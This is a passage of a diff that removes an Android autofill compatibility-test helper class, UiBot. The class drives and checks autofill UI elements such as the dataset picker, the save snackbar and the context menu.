-import androidx.annotation.Nullable;
-import androidx.test.platform.app.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.RetryableException;
-import com.android.compatibility.common.util.Timeout;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.concurrent.TimeoutException;
-
-/**
- * Helper for UI-related needs.
- */
-public class UiBot {
-
-    private static final String TAG = "AutoFillCtsUiBot";
-
-    private static final String RESOURCE_ID_DATASET_PICKER = "autofill_dataset_picker";
-    private static final String RESOURCE_ID_DATASET_HEADER = "autofill_dataset_header";
-    private static final String RESOURCE_ID_SAVE_SNACKBAR = "autofill_save";
-    private static final String RESOURCE_ID_SAVE_ICON = "autofill_save_icon";
-    private static final String RESOURCE_ID_SAVE_TITLE = "autofill_save_title";
-    private static final String RESOURCE_ID_CONTEXT_MENUITEM = "floating_toolbar_menu_item_text";
-    private static final String RESOURCE_ID_SAVE_BUTTON_NO = "autofill_save_no";
-    private static final String RESOURCE_ID_SAVE_BUTTON_YES = "autofill_save_yes";
-    private static final String RESOURCE_ID_OVERFLOW = "overflow";
-
-    private static final String RESOURCE_STRING_SAVE_TITLE = "autofill_save_title";
-    private static final String RESOURCE_STRING_SAVE_TITLE_WITH_TYPE =
-            "autofill_save_title_with_type";
-    private static final String RESOURCE_STRING_SAVE_TYPE_PASSWORD = "autofill_save_type_password";
-    private static final String RESOURCE_STRING_SAVE_TYPE_ADDRESS = "autofill_save_type_address";
-    private static final String RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD =
-            "autofill_save_type_credit_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_USERNAME = "autofill_save_type_username";
-    private static final String RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS =
-            "autofill_save_type_email_address";
-    private static final String RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD =
-            "autofill_save_type_debit_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD =
-            "autofill_save_type_payment_card";
-    private static final String RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD =
-            "autofill_save_type_generic_card";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NEVER = "autofill_save_never";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NOT_NOW = "autofill_save_notnow";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_NO_THANKS = "autofill_save_no";
-    private static final String RESOURCE_STRING_SAVE_BUTTON_YES = "autofill_save_yes";
-    private static final String RESOURCE_STRING_UPDATE_BUTTON_YES = "autofill_update_yes";
-    private static final String RESOURCE_STRING_CONTINUE_BUTTON_YES = "autofill_continue_yes";
-    private static final String RESOURCE_STRING_UPDATE_TITLE = "autofill_update_title";
-    private static final String RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE =
-            "autofill_update_title_with_type";
-
-    private static final String RESOURCE_STRING_AUTOFILL = "autofill";
-    private static final String RESOURCE_STRING_DATASET_PICKER_ACCESSIBILITY_TITLE =
-            "autofill_picker_accessibility_title";
-    private static final String RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE =
-            "autofill_save_accessibility_title";
-
-
-    static final BySelector DATASET_PICKER_SELECTOR = By.res("android", RESOURCE_ID_DATASET_PICKER);
-    private static final BySelector SAVE_UI_SELECTOR = By.res("android", RESOURCE_ID_SAVE_SNACKBAR);
-    private static final BySelector DATASET_HEADER_SELECTOR =
-            By.res("android", RESOURCE_ID_DATASET_HEADER);
-
-    // TODO: figure out a more reliable solution that does not depend on SystemUI resources.
-    private static final String SPLIT_WINDOW_DIVIDER_ID =
-            "com.android.systemui:id/docked_divider_background";
-
-    private static final boolean DUMP_ON_ERROR = true;
-
-    private static final int MAX_UIOBJECT_RETRY_COUNT = 3;
-
-    /** Pass to {@link #setScreenOrientation(int)} to change the display to portrait mode */
-    public static int PORTRAIT = 0;
-
-    /** Pass to {@link #setScreenOrientation(int)} to change the display to landscape mode */
-    public static int LANDSCAPE = 1;
-
-    private final UiDevice mDevice;
-    private final Context mContext;
-    private final String mPackageName;
-    private final UiAutomation mAutoman;
-    private final Timeout mDefaultTimeout;
-
-    private boolean mOkToCallAssertNoDatasets;
-
-    public UiBot() {
-        this(UI_TIMEOUT);
-    }
-
-    public UiBot(Timeout defaultTimeout) {
-        mDefaultTimeout = defaultTimeout;
-        final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
-        mDevice = UiDevice.getInstance(instrumentation);
-        mContext = instrumentation.getContext();
-        mPackageName = mContext.getPackageName();
-        mAutoman = instrumentation.getUiAutomation();
-    }
-
-    public void waitForIdle() {
-        final long before = SystemClock.elapsedRealtimeNanos();
-        mDevice.waitForIdle();
-        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
-        Log.v(TAG, "device idle in " + delta + "ms");
-    }
-
-    public void waitForIdleSync() {
-        final long before = SystemClock.elapsedRealtimeNanos();
-        InstrumentationRegistry.getInstrumentation().waitForIdleSync();
-        final float delta = ((float) (SystemClock.elapsedRealtimeNanos() - before)) / 1_000_000;
-        Log.v(TAG, "device idle sync in " + delta + "ms");
-    }
-
-    public void reset() {
-        mOkToCallAssertNoDatasets = false;
-    }
-
-    /**
-     * Assumes the device has a minimum height and width of {@code minSize}, throwing a
-     * {@code AssumptionViolatedException} if it doesn't (so the test is skiped by the JUnit
-     * Runner).
-     */
-    public void assumeMinimumResolution(int minSize) {
-        final int width = mDevice.getDisplayWidth();
-        final int heigth = mDevice.getDisplayHeight();
-        final int min = Math.min(width, heigth);
-        assumeTrue("Screen size is too small (" + width + "x" + heigth + ")", min >= minSize);
-        Log.d(TAG, "assumeMinimumResolution(" + minSize + ") passed: screen size is "
-                + width + "x" + heigth);
-    }
-
-    /**
-     * Sets the screen resolution in a way that the IME doesn't interfere with the Autofill UI
-     * when the device is rotated to landscape.
-     *
-     * When called, test must call <p>{@link #resetScreenResolution()} in a {@code finally} block.
-     *
-     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
-     */
-    @Deprecated
-    // TODO: remove once we're sure no more OEM is getting failure due to screen size
-    public void setScreenResolution() {
-        if (true) {
-            Log.w(TAG, "setScreenResolution(): ignored");
-            return;
-        }
-        assumeMinimumResolution(500);
-
-        runShellCommand("wm size 1080x1920");
-        runShellCommand("wm density 320");
-    }
-
-    /**
-     * Resets the screen resolution.
-     *
-     * <p>Should always be called after {@link #setScreenResolution()}.
-     *
-     * @deprecated this method should not be necessarily anymore as we're using a MockIme.
-     */
-    @Deprecated
-    // TODO: remove once we're sure no more OEM is getting failure due to screen size
-    public void resetScreenResolution() {
-        if (true) {
-            Log.w(TAG, "resetScreenResolution(): ignored");
-            return;
-        }
-        runShellCommand("wm density reset");
-        runShellCommand("wm size reset");
-    }
-
-    /**
-     * Asserts the dataset picker is not shown anymore.
-     *
-     * @throws IllegalStateException if called *before* an assertion was made to make sure the
-     * dataset picker is shown - if that's not the case, call
-     * {@link #assertNoDatasetsEver()} instead.
-     */
-    public void assertNoDatasets() throws Exception {
-        if (!mOkToCallAssertNoDatasets) {
-            throw new IllegalStateException(
-                    "Cannot call assertNoDatasets() without calling assertDatasets first");
-        }
-        mDevice.wait(Until.gone(DATASET_PICKER_SELECTOR), UI_DATASET_PICKER_TIMEOUT.ms());
-        mOkToCallAssertNoDatasets = false;
-    }
-
-    /**
-     * Asserts the dataset picker was never shown.
-     *
-     * <p>This method is slower than {@link #assertNoDatasets()} and should only be called in the
-     * cases where the dataset picker was not previous shown.
-     */
-    public void assertNoDatasetsEver() throws Exception {
-        assertNeverShown("dataset picker", DATASET_PICKER_SELECTOR,
-                DATASET_PICKER_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains exactly the given datasets.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasets(String...names) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        return assertDatasets(picker, names);
-    }
-
-    protected UiObject2 assertDatasets(UiObject2 picker, String...names) {
-        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(Arrays.asList(names)).inOrder();
-        return picker;
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains the given datasets.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasetsContains(String...names) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        assertWithMessage("wrong dataset names").that(getChildrenAsText(picker))
-                .containsAtLeastElementsIn(Arrays.asList(names)).inOrder();
-        return picker;
-    }
-
-    /**
-     * Asserts the dataset chooser is shown and contains the given datasets, header, and footer.
-     * <p>In fullscreen, header view is not under R.id.autofill_dataset_picker.
-     *
-     * @return the dataset picker object.
-     */
-    public UiObject2 assertDatasetsWithBorders(String header, String footer, String...names)
-            throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        final List<String> expectedChild = new ArrayList<>();
-        if (header != null) {
-            if (Helper.isAutofillWindowFullScreen(mContext)) {
-                final UiObject2 headerView = waitForObject(DATASET_HEADER_SELECTOR,
-                        UI_DATASET_PICKER_TIMEOUT);
-                assertWithMessage("fullscreen wrong dataset header")
-                        .that(getChildrenAsText(headerView))
-                        .containsExactlyElementsIn(Arrays.asList(header)).inOrder();
-            } else {
-                expectedChild.add(header);
-            }
-        }
-        expectedChild.addAll(Arrays.asList(names));
-        if (footer != null) {
-            expectedChild.add(footer);
-        }
-        assertWithMessage("wrong elements on dataset picker").that(getChildrenAsText(picker))
-                .containsExactlyElementsIn(expectedChild).inOrder();
-        return picker;
-    }
-
-    /**
-     * Gets the text of this object children.
-     */
-    public List<String> getChildrenAsText(UiObject2 object) {
-        final List<String> list = new ArrayList<>();
-        getChildrenAsText(object, list);
-        return list;
-    }
-
-    private static void getChildrenAsText(UiObject2 object, List<String> children) {
-        final String text = object.getText();
-        if (text != null) {
-            children.add(text);
-        }
-        for (UiObject2 child : object.getChildren()) {
-            getChildrenAsText(child, children);
-        }
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI and does not need to wait for
-     * application become idle.
-     */
-    public void selectDataset(String name) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        selectDataset(picker, name);
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI and waits for application become
-     * idle if needed.
-     */
-    public void selectDatasetSync(String name) throws Exception {
-        final UiObject2 picker = findDatasetPicker(UI_DATASET_PICKER_TIMEOUT);
-        selectDataset(picker, name);
-        mDevice.waitForIdle();
-    }
-
-    /**
-     * Selects a dataset that should be visible in the floating UI.
-     */
-    public void selectDataset(UiObject2 picker, String name) {
-        final UiObject2 dataset = picker.findObject(By.text(name));
-        if (dataset == null) {
-            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(picker));
-        }
-        dataset.click();
-    }
-
-    /**
-     * Finds the suggestion by name and perform long click on suggestion to trigger attribution
-     * intent.
-     */
-    public void longPressSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Asserts the suggestion chooser is shown in the suggestion view.
-     */
-    public void assertSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Asserts the suggestion chooser is not shown in the suggestion view.
-     */
-    public void assertNoSuggestion(String name) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Scrolls the suggestion view.
-     *
-     * @param direction The direction to scroll.
-     * @param speed The speed to scroll per second.
-     */
-    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
-        throw new UnsupportedOperationException();
-    }
-
-    /**
-     * Selects a view by text.
-     *
-     * <p><b>NOTE:</b> when selecting an option in dataset picker is shown, prefer
-     * {@link #selectDataset(String)}.
-     */
-    public void selectByText(String name) throws Exception {
-        Log.v(TAG, "selectByText(): " + name);
-
-        final UiObject2 object = waitForObject(By.text(name));
-        object.click();
-    }
-
-    /**
-     * Asserts a text is shown.
-     *
-     * <p><b>NOTE:</b> when asserting the dataset picker is shown, prefer
-     * {@link #assertDatasets(String...)}.
-     */
-    public UiObject2 assertShownByText(String text) throws Exception {
-        return assertShownByText(text, mDefaultTimeout);
-    }
-
-    public UiObject2 assertShownByText(String text, Timeout timeout) throws Exception {
-        final UiObject2 object = waitForObject(By.text(text), timeout);
-        assertWithMessage("No node with text '%s'", text).that(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Finds a node by text, without waiting for it to be shown (but failing if it isn't).
-     */
-    @NonNull
-    public UiObject2 findRightAwayByText(@NonNull String text) throws Exception {
-        final UiObject2 object = mDevice.findObject(By.text(text));
-        assertWithMessage("no UIObject for text '%s'", text).that(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Asserts that the text is not showing for sure in the screen "as is", i.e., without waiting
-     * for it.
-     *
-     * <p>Typically called after another assertion that waits for a condition to be shown.
-     */
-    public void assertNotShowingForSure(String text) throws Exception {
-        final UiObject2 object = mDevice.findObject(By.text(text));
-        assertWithMessage("Found node with text '%s'", text).that(object).isNull();
-    }
-
-    /**
-     * Asserts a node with the given content description is shown.
-     *
-     */
-    public UiObject2 assertShownByContentDescription(String contentDescription) throws Exception {
-        final UiObject2 object = waitForObject(By.desc(contentDescription));
-        assertWithMessage("No node with content description '%s'", contentDescription).that(object)
-                .isNotNull();
-        return object;
-    }
-
-    /**
-     * Checks if a View with a certain text exists.
-     */
-    public boolean hasViewWithText(String name) {
-        Log.v(TAG, "hasViewWithText(): " + name);
-
-        return mDevice.findObject(By.text(name)) != null;
-    }
-
-    /**
-     * Selects a view by id.
-     */
-    public UiObject2 selectByRelativeId(String id) throws Exception {
-        Log.v(TAG, "selectByRelativeId(): " + id);
-        UiObject2 object = waitForObject(By.res(mPackageName, id));
-        object.click();
-        return object;
-    }
-
-    /**
-     * Asserts the id is shown on the screen.
-     */
-    public UiObject2 assertShownById(String id) throws Exception {
-        final UiObject2 object = waitForObject(By.res(id));
-        assertThat(object).isNotNull();
-        return object;
-    }
-
-    /**
-     * Asserts the id is shown on the screen, using a resource id from the test package.
-     */
-    public UiObject2 assertShownByRelativeId(String id) throws Exception {
-        return assertShownByRelativeId(id, mDefaultTimeout);
-    }
-
-    public UiObject2 assertShownByRelativeId(String id, Timeout timeout) throws Exception {
-        final UiObject2 obj = waitForObject(By.res(mPackageName, id), timeout);
-        assertThat(obj).isNotNull();
-        return obj;
-    }
-
-    /**
-     * Asserts the id is not shown on the screen anymore, using a resource id from the test package.
-     *
-     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
-     * it might pass without really asserting anything.
-     */
-    public void assertGoneByRelativeId(@NonNull String id, @NonNull Timeout timeout) {
-        assertGoneByRelativeId(/* parent = */ null, id, timeout);
-    }
-
-    public void assertGoneByRelativeId(int resId, @NonNull Timeout timeout) {
-        assertGoneByRelativeId(/* parent = */ null, getIdName(resId), timeout);
-    }
-
-    private String getIdName(int resId) {
-        return mContext.getResources().getResourceEntryName(resId);
-    }
-
-    /**
-     * Asserts the id is not shown on the parent anymore, using a resource id from the test package.
-     *
-     * <p><b>Note:</b> this method should only called AFTER the id was previously shown, otherwise
-     * it might pass without really asserting anything.
-     */
-    public void assertGoneByRelativeId(@Nullable UiObject2 parent, @NonNull String id,
-            @NonNull Timeout timeout) {
-        final SearchCondition<Boolean> condition = Until.gone(By.res(mPackageName, id));
-        final boolean gone = parent != null
-                ? parent.wait(condition, timeout.ms())
-                : mDevice.wait(condition, timeout.ms());
-        if (!gone) {
-            final String message = "Object with id '" + id + "' should be gone after "
-                    + timeout + " ms";
-            dumpScreen(message);
-            throw new RetryableException(message);
-        }
-    }
-
-    public UiObject2 assertShownByRelativeId(int resId) throws Exception {
-        return assertShownByRelativeId(getIdName(resId));
-    }
-
-    public void assertNeverShownByRelativeId(@NonNull String description, int resId, long timeout)
-            throws Exception {
-        final BySelector selector = By.res(Helper.MY_PACKAGE, getIdName(resId));
-        assertNeverShown(description, selector, timeout);
-    }
-
-    /**
-     * Asserts that a {@code selector} is not showing after {@code timeout} milliseconds.
-     */
-    protected void assertNeverShown(String description, BySelector selector, long timeout)
-            throws Exception {
-        SystemClock.sleep(timeout);
-        final UiObject2 object = mDevice.findObject(selector);
-        if (object != null) {
-            throw new AssertionError(
-                    String.format("Should not be showing %s after %dms, but got %s",
-                            description, timeout, getChildrenAsText(object)));
-        }
-    }
-
-    /**
-     * Gets the text set on a view.
-     */
-    public String getTextByRelativeId(String id) throws Exception {
-        return waitForObject(By.res(mPackageName, id)).getText();
-    }
-
-    /**
-     * Focus in the view with the given resource id.
-     */
-    public void focusByRelativeId(String id) throws Exception {
-        waitForObject(By.res(mPackageName, id)).click();
-    }
-
-    /**
-     * Sets a new text on a view.
-     */
-    public void setTextByRelativeId(String id, String newText) throws Exception {
-        waitForObject(By.res(mPackageName, id)).setText(newText);
-    }
-
-    /**
-     * Asserts the save snackbar is showing and returns it.
-     */
-    public UiObject2 assertSaveShowing(int type) throws Exception {
-        return assertSaveShowing(SAVE_TIMEOUT, type);
-    }
-
-    /**
-     * Asserts the save snackbar is showing and returns it.
-     */
-    public UiObject2 assertSaveShowing(Timeout timeout, int type) throws Exception {
-        return assertSaveShowing(null, timeout, type);
-    }
-
-    /**
-     * Asserts the save snackbar is showing with the Update message and returns it.
-     */
-    public UiObject2 assertUpdateShowing(int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ true, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                null, SAVE_TIMEOUT, types);
-    }
-
-    /**
-     * Presses the Back button.
-     */
-    public void pressBack() {
-        Log.d(TAG, "pressBack()");
-        mDevice.pressBack();
-    }
-
-    /**
-     * Presses the Home button.
-     */
-    public void pressHome() {
-        Log.d(TAG, "pressHome()");
-        mDevice.pressHome();
-    }
-
-    /**
-     * Asserts the save snackbar is not showing.
-     */
-    public void assertSaveNotShowing(int type) throws Exception {
-        assertNeverShown("save UI for type " + type, SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    public void assertSaveNotShowing() throws Exception {
-        assertNeverShown("save UI", SAVE_UI_SELECTOR, SAVE_NOT_SHOWN_NAPTIME_MS);
-    }
-
-    private String getSaveTypeString(int type) {
-        final String typeResourceName;
-        switch (type) {
-            case SAVE_DATA_TYPE_PASSWORD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PASSWORD;
-                break;
-            case SAVE_DATA_TYPE_ADDRESS:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_ADDRESS;
-                break;
-            case SAVE_DATA_TYPE_CREDIT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_CREDIT_CARD;
-                break;
-            case SAVE_DATA_TYPE_USERNAME:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_USERNAME;
-                break;
-            case SAVE_DATA_TYPE_EMAIL_ADDRESS:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_EMAIL_ADDRESS;
-                break;
-            case SAVE_DATA_TYPE_DEBIT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_DEBIT_CARD;
-                break;
-            case SAVE_DATA_TYPE_PAYMENT_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_PAYMENT_CARD;
-                break;
-            case SAVE_DATA_TYPE_GENERIC_CARD:
-                typeResourceName = RESOURCE_STRING_SAVE_TYPE_GENERIC_CARD;
-                break;
-            default:
-                throw new IllegalArgumentException("Unsupported type: " + type);
-        }
-        return getString(typeResourceName);
-    }
-
-    public UiObject2 assertSaveShowing(String description, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                description, SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveShowing(String description, Timeout timeout, int... types)
-            throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                description, timeout, types);
-    }
-
-    public UiObject2 assertSaveShowing(int negativeButtonStyle, String description,
-            int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, negativeButtonStyle, description,
-                SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveShowing(int positiveButtonStyle, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(/* update= */ false, SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL,
-                positiveButtonStyle, /* description= */ null, SAVE_TIMEOUT, types);
-    }
-
-    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
-            String description, Timeout timeout, int... types) throws Exception {
-        return assertSaveOrUpdateShowing(update, negativeButtonStyle,
-                SaveInfo.POSITIVE_BUTTON_STYLE_SAVE, description, timeout, types);
-    }
-
-    public UiObject2 assertSaveOrUpdateShowing(boolean update, int negativeButtonStyle,
-            int positiveButtonStyle, String description, Timeout timeout, int... types)
-            throws Exception {
-
-        final UiObject2 snackbar = waitForObject(SAVE_UI_SELECTOR, timeout);
-
-        final UiObject2 titleView =
-                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_TITLE), timeout);
-        assertWithMessage("save title (%s) is not shown", RESOURCE_ID_SAVE_TITLE).that(titleView)
-                .isNotNull();
-
-        final UiObject2 iconView =
-                waitForObject(snackbar, By.res("android", RESOURCE_ID_SAVE_ICON), timeout);
-        assertWithMessage("save icon (%s) is not shown", RESOURCE_ID_SAVE_ICON).that(iconView)
-                .isNotNull();
-
-        final String actualTitle = titleView.getText();
-        Log.d(TAG, "save title: " + actualTitle);
-
-        final String titleId, titleWithTypeId;
-        if (update) {
-            titleId = RESOURCE_STRING_UPDATE_TITLE;
-            titleWithTypeId = RESOURCE_STRING_UPDATE_TITLE_WITH_TYPE;
-        } else {
-            titleId = RESOURCE_STRING_SAVE_TITLE;
-            titleWithTypeId = RESOURCE_STRING_SAVE_TITLE_WITH_TYPE;
-        }
-
-        final String serviceLabel = InstrumentedAutoFillService.getServiceLabel();
-        switch (types.length) {
-            case 1:
-                final String expectedTitle = (types[0] == SAVE_DATA_TYPE_GENERIC)
-                        ? Html.fromHtml(getString(titleId, serviceLabel), 0).toString()
-                        : Html.fromHtml(getString(titleWithTypeId,
-                                getSaveTypeString(types[0]), serviceLabel), 0).toString();
-                assertThat(actualTitle).isEqualTo(expectedTitle);
-                break;
-            case 2:
-                // We cannot predict the order...
-                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
-                break;
-            case 3:
-                // We cannot predict the order...
-                assertThat(actualTitle).contains(getSaveTypeString(types[0]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[1]));
-                assertThat(actualTitle).contains(getSaveTypeString(types[2]));
-                break;
-            default:
-                throw new IllegalArgumentException("Invalid types: " + Arrays.toString(types));
-        }
-
-        if (description != null) {
-            final UiObject2 saveSubTitle = snackbar.findObject(By.text(description));
-            assertWithMessage("save subtitle(%s)", description).that(saveSubTitle).isNotNull();
-        }
-
-        final String positiveButtonStringId;
-        switch (positiveButtonStyle) {
-            case SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE:
-                positiveButtonStringId = RESOURCE_STRING_CONTINUE_BUTTON_YES;
-                break;
-            default:
-                positiveButtonStringId = update ? RESOURCE_STRING_UPDATE_BUTTON_YES
-                        : RESOURCE_STRING_SAVE_BUTTON_YES;
-        }
-        final String expectedPositiveButtonText = getString(positiveButtonStringId).toUpperCase();
-        final UiObject2 positiveButton = waitForObject(snackbar,
-                By.res("android", RESOURCE_ID_SAVE_BUTTON_YES), timeout);
-        assertWithMessage("wrong text on positive button")
-                .that(positiveButton.getText().toUpperCase()).isEqualTo(expectedPositiveButtonText);
-
-        final String negativeButtonStringId;
-        if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_REJECT) {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NOT_NOW;
-        } else if (negativeButtonStyle == SaveInfo.NEGATIVE_BUTTON_STYLE_NEVER) {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NEVER;
-        } else {
-            negativeButtonStringId = RESOURCE_STRING_SAVE_BUTTON_NO_THANKS;
-        }
-        final String expectedNegativeButtonText = getString(negativeButtonStringId).toUpperCase();
-        final UiObject2 negativeButton = waitForObject(snackbar,
-                By.res("android", RESOURCE_ID_SAVE_BUTTON_NO), timeout);
-        assertWithMessage("wrong text on negative button")
-                .that(negativeButton.getText().toUpperCase()).isEqualTo(expectedNegativeButtonText);
-
-        final String expectedAccessibilityTitle =
-                getString(RESOURCE_STRING_SAVE_SNACKBAR_ACCESSIBILITY_TITLE);
-        assertAccessibilityTitle(snackbar, expectedAccessibilityTitle);
-
-        return snackbar;
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(boolean yesDoIt, int... types) throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(
-                SaveInfo.NEGATIVE_BUTTON_STYLE_CANCEL, null, types);
-        saveForAutofill(saveSnackBar, yesDoIt);
-    }
-
-    public void updateForAutofill(boolean yesDoIt, int... types) throws Exception {
-        final UiObject2 saveUi = assertUpdateShowing(types);
-        saveForAutofill(saveUi, yesDoIt);
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(int negativeButtonStyle, boolean yesDoIt, int... types)
-            throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(negativeButtonStyle, null, types);
-        saveForAutofill(saveSnackBar, yesDoIt);
-    }
-
-    /**
-     * Taps the positive button in the save snackbar.
-     *
-     * @param types expected types of save info.
-     */
-    public void saveForAutofill(int positiveButtonStyle, int... types) throws Exception {
-        final UiObject2 saveSnackBar = assertSaveShowing(positiveButtonStyle, types);
-        saveForAutofill(saveSnackBar, /* yesDoIt= */ true);
-    }
-
-    /**
-     * Taps an option in the save snackbar.
-     *
-     * @param saveSnackBar Save snackbar, typically obtained through
-     *            {@link #assertSaveShowing(int)}.
-     * @param yesDoIt {@code true} for 'YES', {@code false} for 'NO THANKS'.
-     */
-    public void saveForAutofill(UiObject2 saveSnackBar, boolean yesDoIt) {
-        final String id = yesDoIt ? "autofill_save_yes" : "autofill_save_no";
-
-        final UiObject2 button = saveSnackBar.findObject(By.res("android", id));
-        assertWithMessage("save button (%s)", id).that(button).isNotNull();
-        button.click();
-    }
-
-    /**
-     * Gets the AUTOFILL contextual menu by long pressing a text field.
-     *
-     * <p><b>NOTE:</b> this method should only be called in scenarios where we explicitly want to
-     * test the overflow menu. For all other scenarios where we want to test manual autofill, it's
-     * better to call {@code AFM.requestAutofill()} directly, because it's less error-prone and
-     * faster.
-     *
-     * @param id resource id of the field.
-     */
-    public UiObject2 getAutofillMenuOption(String id) throws Exception {
-        final UiObject2 field = waitForObject(By.res(mPackageName, id));
-        // TODO: figure out why obj.longClick() doesn't always work
-        field.click(LONG_PRESS_MS);
-
-        List<UiObject2> menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
-        final String expectedText = getAutofillContextualMenuTitle();
-
-        final StringBuffer menuNames = new StringBuffer();
-
-        // Check first menu for AUTOFILL
-        for (UiObject2 menuItem : menuItems) {
-            final String menuName = menuItem.getText();
-            if (menuName.equalsIgnoreCase(expectedText)) {
-                Log.v(TAG, "AUTOFILL found in first menu");
-                return menuItem;
-            }
-            menuNames.append("'").append(menuName).append("' ");
-        }
-
-        menuNames.append(";");
-
-        // First menu does not have AUTOFILL, check overflow
-        final BySelector overflowSelector = By.res("android", RESOURCE_ID_OVERFLOW);
-
-        // Click overflow menu button.
-        final UiObject2 overflowMenu = waitForObject(overflowSelector, mDefaultTimeout);
-        overflowMenu.click();
-
-        // Wait for overflow menu to show.
-        mDevice.wait(Until.gone(overflowSelector), 1000);
-
-        menuItems = waitForObjects(
-                By.res("android", RESOURCE_ID_CONTEXT_MENUITEM), mDefaultTimeout);
-        for (UiObject2 menuItem : menuItems) {
-            final String menuName = menuItem.getText();
-            if (menuName.equalsIgnoreCase(expectedText)) {
-                Log.v(TAG, "AUTOFILL found in overflow menu");
-                return menuItem;
-            }
-            menuNames.append("'").append(menuName).append("' ");
-        }
-        throw new RetryableException("no '%s' on '%s'", expectedText, menuNames);
-    }
-
-    String getAutofillContextualMenuTitle() {
-        return getString(RESOURCE_STRING_AUTOFILL);
-    }
-
-    /**
-     * Gets a string from the Android resources.
-     */
-    private String getString(String id) {
-        final Resources resources = mContext.getResources();
-        final int stringId = resources.getIdentifier(id, "string", "android");
-        try {
-            return resources.getString(stringId);
-        } catch (Resources.NotFoundException e) {
-            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
-                    + ": ", e);
-        }
-    }
-
-    /**
-     * Gets a string from the Android resources.
-     */
-    private String getString(String id, Object... formatArgs) {
-        final Resources resources = mContext.getResources();
-        final int stringId = resources.getIdentifier(id, "string", "android");
-        try {
-            return resources.getString(stringId, formatArgs);
-        } catch (Resources.NotFoundException e) {
-            throw new IllegalStateException("no internal string for '" + id + "' / res=" + stringId
-                    + ": ", e);
-        }
-    }
-
-    /**
-     * Waits for and returns an object.
-     *
-     * @param selector {@link BySelector} that identifies the object.
-     */
-    private UiObject2 waitForObject(BySelector selector) throws Exception {
-        return waitForObject(selector, mDefaultTimeout);
-    }
-
-    /**
-     * Waits for and returns an object.
